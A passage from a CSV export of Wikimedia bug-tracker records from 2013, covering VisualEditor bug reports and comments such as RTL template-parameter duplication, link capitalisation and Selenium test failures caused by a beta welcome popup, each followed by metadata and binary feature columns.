+**Severity**: normal",Needs Triage,90.0,1377784560,1377786212.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-m5whhh35h7fkdpaca77l,task_description,resolved,True,c1,3,False,False,True,8,,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+248552,VisualEditor: broken reference tag swaps sections when VEditing,"
+
+*** This bug has been marked as a duplicate of bug 52430 ***",,,1377786212,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-m5whhh35h7fkdpaca77l,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+55515,VisualEditor: Parameters in RTL can be duplicated in the transclusion dialog,"To reproduce:
+
+1. Go to this page: https://he.wikipedia.org/wiki/%D7%90%D7%9C%D7%9B%D7%A1%D7%A0%D7%93%D7%A8_%D7%94%D7%92%D7%93%D7%95%D7%9C
+2. Edit the infobox at the left side. 
+3. Behold! Some parameters appear both at the left panel (used) and also on the right panel (unused). Specific example, look for the parameters ""בן זוג"" and ""בת זוג"" 
+4. If you click the parameter ""בת זוג"" for example, on the left side (the used one) you will see data. If you click the one on the right side, it appears with empty textbox as if it's new.
+5. Click on the right side (as if to add param again) on ""בת זוג"" 
+6. Click again and again -- the parameter will keep being added to the list on the left in duplicates.
+
+And if the page is saved, the parameter is now completely removed.
+
+
+This has happened specifically in the hewiki but might be related to more than just RTL.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1377741840,1380749912.0,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,False,PHID-TASK-cbkpykct3waf2q7jincj,task_description,declined,True,c1,3,False,False,False,8,,1,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,1,0,1,1,1,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,0,1,0,1
+247448,VisualEditor: Parameters in RTL can be duplicated in the transclusion dialog,"This works for me on hewiki and local on rtl settings. If anyone discovers this anew, please reopen.",,,1380749912,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-cbkpykct3waf2q7jincj,task_subcomment,,True,c1,3,False,,,13,,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0
+247445,VisualEditor: Parameters in RTL can be duplicated in the transclusion dialog,This seems to be fixed now.,,,1379704380,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-cbkpykct3waf2q7jincj,task_subcomment,,True,c1,3,False,,,11,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+55495,VisualEditor: Link insertion dialog should preserve the case of the initial character,"Currently whenever a user enters a link when no text is selected the first character of the displayed link is always capitalised. This is often incorrect, e.g. in the middle of a sentence or for articles like [[iPhone]] or [[grep]].
+
+Especially until bug 50678 is fixed, correcting this is not at easy or intuitive.
+
+So, at least until bug 48789 and bug 50945 are fixed and the display text is settable in the dialog, and probably beyond that, it would be best if the displayed link used the same case as the search term entered. i.e.
+
+User entry ->  wikitext equivalent of desired output
+Green   ->  [[Green]]
+green   ->  [[green]]
+iPad    ->  [[iPad]]
+HAMmer  ->  [[Hammer]]
+london  ->  [[london]]
+
+Yes, this will result in some wrong captialisations, but no more than at present and will only be temporary (as noted above)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50678
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50745",Needs Triage,90.0,1377720300,1377802569.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-hvan6ykhuzyhtye5e56x,task_description,resolved,True,c1,3,False,False,True,8,,1,0,0,1,1,1,1,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,1,1,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1
+246245,VisualEditor: Link insertion dialog should preserve the case of the initial character,"
+
+*** This bug has been marked as a duplicate of bug 50452 ***",,,1377802569,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-hvan6ykhuzyhtye5e56x,task_subcomment,,True,c1,3,False,,,8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+55491,Right-click on newly linked page in VisualEditor opens invalid URL in new tab,"This is somewhat related to bug 50321.
+
+Steps to reproduce:
+
+1. Open your own sandbox/userpage (not a page in the mainspace) in VisualEditor.
+2. Add a link to a word (""xxx"").
+3. Control-click/right-click/command-click the new link to open the link in a new tab or new window.
+4. Discover that VisualEditor has sent you to an invalid URL:  http://en.wikipedia.org/w/Xxx or http://en.wikipedia.org/wiki/User:Whatamidoing_(WMF)/Xxx
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1377715320,1377718799.0,PHID-USER-uf3buojo4ceizjywvyn5,True,,False,PHID-TASK-lz4m6zadc7gusnegkxep,task_description,resolved,True,c1,3,False,False,True,8,,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+246011,Right-click on newly linked page in VisualEditor opens invalid URL in new tab,"This is bug 48915 although the bug title ""VisualEditor: Respect Parsoid's <base>"" describes the solution not the effect so I'm not surprised you didn't find it.
+
+*** This bug has been marked as a duplicate of bug 48915 ***",,,1377718799,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-lz4m6zadc7gusnegkxep,task_subcomment,,True,c1,3,False,,,8,,0,0,0,1,1,1,0,0,1,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,1
+55467,Move VisualEditor Selenium test to VisualEditor repository,"Requested by James Forrester at QA mailing list:
+
+http://lists.wikimedia.org/pipermail/qa/2013-August/000339.html
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1377688440,1377696492.0,PHID-USER-fz7hkyvt4jypl76ieyol,False,,False,PHID-TASK-5xzxzrfm4dqssl7w5dix,task_description,resolved,True,c1,3,True,False,True,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+243956,Move VisualEditor Selenium test to VisualEditor repository,"Change 81486 merged by jenkins-bot:
+Moved VisualEditor Selenium tests from browsertests repository
+
+https://gerrit.wikimedia.org/r/81486",,,1377721181,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5xzxzrfm4dqssl7w5dix,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+243950,Move VisualEditor Selenium test to VisualEditor repository,"Change 81490 merged by Cmcmahon:
+Added support for running VisualEditor tests to Jenkins job template
+
+https://gerrit.wikimedia.org/r/81490",,,1377720850,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5xzxzrfm4dqssl7w5dix,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+243946,Move VisualEditor Selenium test to VisualEditor repository,"Change 81490 had a related patch set uploaded by Zfilipin:
+Added support for running VisualEditor to Jenkins job template
+
+https://gerrit.wikimedia.org/r/81490",,,1377696235,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5xzxzrfm4dqssl7w5dix,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+243942,Move VisualEditor Selenium test to VisualEditor repository,Resolved in https://gerrit.wikimedia.org/r/#/c/81486/,,,1377695195,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-5xzxzrfm4dqssl7w5dix,task_subcomment,,True,c1,3,True,,,8,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+243937,Move VisualEditor Selenium test to VisualEditor repository,"Change 81486 had a related patch set uploaded by Zfilipin:
+Moved VisualEditor Selenium tests from browsertests repository
+
+https://gerrit.wikimedia.org/r/81486",,,1377694989,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5xzxzrfm4dqssl7w5dix,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+55450,Show edit summary after clicking save,"**Author:** `molly.white5`
+
+**Description:**
+Only show the edit summary input box after the user clicks ""save"" (sort of like in the VisualEditor).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1377659100,1382039786.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-q6pz6kygm2rnc3zs7geb,task_description,declined,True,c1,3,False,False,False,8,,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+243066,Show edit summary after clicking save,"**molly.white5** wrote:
+
+See above comment.",,,1382039786,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-q6pz6kygm2rnc3zs7geb,task_subcomment,,True,c1,3,False,,,15,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+243059,Show edit summary after clicking save,"**mr.heat** wrote:
+
+(In reply to comment #0)
+> Only show the edit summary input box after the user clicks ""save""
+
+But clicking ""save"" leaves the editor and reloads the page. If the edit summary is hidden and only shown after you clicked ""save"" you will see it only for a fraction of a second and not be able to enter anything.
+
+I guess you are suggesting to block the first click on the ""save"" button. First click shows the edit summary. Second click saves. I don't think this is useful for two main reasons:
+
+1. I want to be able to type something in the summary field while I'm still editing. Hiding the field removes this feature. I can't use it when I want. It forces me to remember everything I did and recap it in the end. This will lead to more empty and less descriptive summary lines.
+
+2. If I click a button labeled ""save"" I expect it to save and not to do something completely different. If you want to have this as an opt-in feature you can use the existing ""Prompt me when entering a blank edit summary"" setting or check my script [[de:User talk:TMg/forceEditSummary.js]]. Both do not hide the edit summary but block the ""save"" button one time if you forgot to enter a summary. The setting is server-side, my script is client-side and therefor a lot faster.
+
+I suggest to close this as ""works as expected"".",,,1382020847,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-q6pz6kygm2rnc3zs7geb,task_subcomment,,True,c1,3,False,,,15,,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,1,0,1,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+55409,VisualEditor: Media should be easily replaceable,"At the moment there doesn't appear to be a way to replace media - that is, to click on a media element, and select a different piece of media for that element. That's not a big deal at the moment, but we're going to move to a world where media settings are more complex - where alignment can be specified, referencing can be specified and permitted, so on and so forth.
+
+The result of this is that media elements will have a lot of data associated with them - media it's pretty hard to type out again if you find that the image (or video, or...whatever) needs to be replaced. It would be good to have a way of replacing images without losing the associated caption, size and alignment.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1377621000,1377621974.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-dhmvhapysnb7mmzkzrmc,task_description,resolved,True,c1,3,False,False,True,8,,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,1,1,0,1,1,1,0,1,1,0,0,1,0,1,1,1,0,1,0,0,1,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,1,0,0
+241003,VisualEditor: Media should be easily replaceable,"I *knew* it's gotta be a dupe. ;)
+
+*** This bug has been marked as a duplicate of bug 51033 ***",,,1377621974,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-dhmvhapysnb7mmzkzrmc,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+55326,Search and replace feature needed,"We need a search-and-replace feature in VisualEditor. This seacrh box should also support ULS
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Needs Triage,90.0,1377447840,1377460908.0,PHID-USER-qpuuryo2o37amdlkb5gk,False,,False,PHID-TASK-5k5rt6qbkoyx3ta4vs6h,task_description,resolved,True,c1,3,False,False,True,7,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+236544,Search and replace feature needed,"Hi Pavanaja. Thanks for taking the time to report this!
+This particular problem has already been reported into our bug tracking system, but please feel free to report any further issues you find.
+
+*** This bug has been marked as a duplicate of bug 48368 ***",,,1377460908,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-5k5rt6qbkoyx3ta4vs6h,task_subcomment,,True,c1,3,True,,,7,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+55325,Inserting and editing tables,"There should be a facility in VisualEditor for creating new table or edit an existing table
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Needs Triage,90.0,1377447540,1377528014.0,PHID-USER-qpuuryo2o37amdlkb5gk,False,,False,PHID-TASK-lfg46f7cy7mmetnq3hpg,task_description,resolved,True,c1,3,False,False,True,7,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+236510,Inserting and editing tables,"Indeed there should be such a feature, and one has been requested at bug 52181 so I'm marking this as a duplicate.
+
+*** This bug has been marked as a duplicate of bug 52181 ***",,,1377528014,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-lfg46f7cy7mmetnq3hpg,task_subcomment,,True,c1,3,False,,,8,,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+236506,Inserting and editing tables,"[New feature => setting the ""Severity"" field to ""enhancement"". 
+Feel free to do so yourself when filing a report.]",,,1377460978,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-lfg46f7cy7mmetnq3hpg,task_subcomment,,True,c1,3,True,,,7,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,1,1,0,0,1
+55314,VisualEditor: inconsistency when reviewing changes after a null edit,"User report:
+<<So I put a space and then a backspace.  Go to save, review changes to check and make sure it is a null edit, then it goes to this ""processing"" dialogue but then it shows ""Could not start the review because your revision matches the latest version of this page.""  So then I press the little back link on the dialogue, but it just goes back to the processing dialogue.  If the page is small, the processing is really quick, so before I can even press back again, it goes back to the ""Could not start"" warning message.  Even if I do manage to press the back a second time quickly, it will only stay at the save dialogue for a split second and then again bring me to the warning message, although ''then'' pressing back does take me to the save dialogue securely.  FF 23.0.1 Win7.>>
+
+I managed to reproduce this on Chrome as well, so which is the intended left button behaviour?
+Thanks.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1377426720,1377426954.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-inp4lb4bxjfhduddc4ri,task_description,resolved,True,c1,3,False,False,True,7,,0,0,0,0,1,1,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1
+235897,VisualEditor: inconsistency when reviewing changes after a null edit,"
+
+*** This bug has been marked as a duplicate of bug 53313 ***",,,1377426954,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-inp4lb4bxjfhduddc4ri,task_subcomment,,True,c1,3,False,,,7,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+55301,VE does not finish initialization on KOWP,"**Author:** `ryuch`
+
+**Description:**
+VE not can be enabled by options in preferences for beta testing.
+When I click 'edit' on an article, the progress bar appear but does not finish initialization.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1377353520,1380703487.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-z2y2nxnb7rd7vpntvfza,task_description,resolved,True,c1,3,False,False,False,7,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+235178,VE does not finish initialization on KOWP,"This bug appears to be fixed as I can see VE edits happening in the recentchanges feed.
+
+https://ko.wikipedia.org/wiki/special:recentchanges?days=30&tagfilter=visualeditor",,,1380703487,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-z2y2nxnb7rd7vpntvfza,task_subcomment,,True,c1,3,False,,,13,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+235172,VE does not finish initialization on KOWP,"**ryuch** wrote:
+
+Sorry, a critical typo I sent. 
+VE ""now"" can be enabled by options in preferences for beta testing.",,,1377353651,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-z2y2nxnb7rd7vpntvfza,task_subcomment,,True,c1,3,False,,,7,,0,0,0,1,0,1,0,0,0,0,1,0,1,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+55295,VisualEditor tests fail due to introductory beta disclaimer popup,"cucumber features/visual_editor_anon.feature:5 # Scenario: Basic edit fails 
+because VisualEditor these days shows an introductory disclaimer:
+
+  This is our new, easier way to edit. It's still in beta,
+  which means you might find parts of the page you can't edit...
+and so it fails with
+  expected ""You are not currently logged in. 
+which isn't visible until you dismiss the popup.
+
+I think the same explains a
+  timed out after 5 seconds, Element was not visible in 5 seconds
+that I'm getting in the similar
+cucumber features/visual_editor_logged_in.feature:5 # Scenario: Basic edit
+after applying gerrit 80709.
+
+The popup is in a div containing an iframe containing more divs until class=""ve-ui-mwBetaWelcomeDialog-content"", and then tests have to click outside it to dismiss it; and some day it will go away.
+
+Instead it seems better to set the ve-beta-welcome-dialog cookie to 1 upon visiting the site, which will turn off this disclaimer dialog.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Needs Triage,90.0,1377334920,1382983457.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-5gtyq6ebthpfjdmqjbyu,task_description,resolved,True,c1,3,False,False,False,7,,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,1,0,0,1,1,1,1,1,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+234872,VisualEditor tests fail due to introductory beta disclaimer popup,fixed,,,1382983457,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-5gtyq6ebthpfjdmqjbyu,task_subcomment,,True,c1,3,False,,,17,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+234867,VisualEditor tests fail due to introductory beta disclaimer popup,"Chris, this is fixed, right? Is there anything left here to do? Should we close the bug?",,,1381411550,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-5gtyq6ebthpfjdmqjbyu,task_subcomment,,True,c1,3,True,,,14,,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+234862,VisualEditor tests fail due to introductory beta disclaimer popup,"Honestly, I would rather that VE behave the same on beta, test2wiki, and production. Preferably at more or less the same time.",,,1377806202,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-5gtyq6ebthpfjdmqjbyu,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0
+234857,VisualEditor tests fail due to introductory beta disclaimer popup,"(In reply to comment #5)
+> Should this be closed since 80709 is merged into master?
+No, that's a different problem breaking VE tests.
+
+Please can you change the VE tests to have an
+    If there is an introductory welcome message
+      then dismiss it
+stanza?",,,1377805386,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-5gtyq6ebthpfjdmqjbyu,task_subcomment,,True,c1,3,False,,,8,,0,0,0,1,0,1,1,0,0,1,1,1,0,0,1,0,0,1,1,0,1,1,1,0,0,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,1
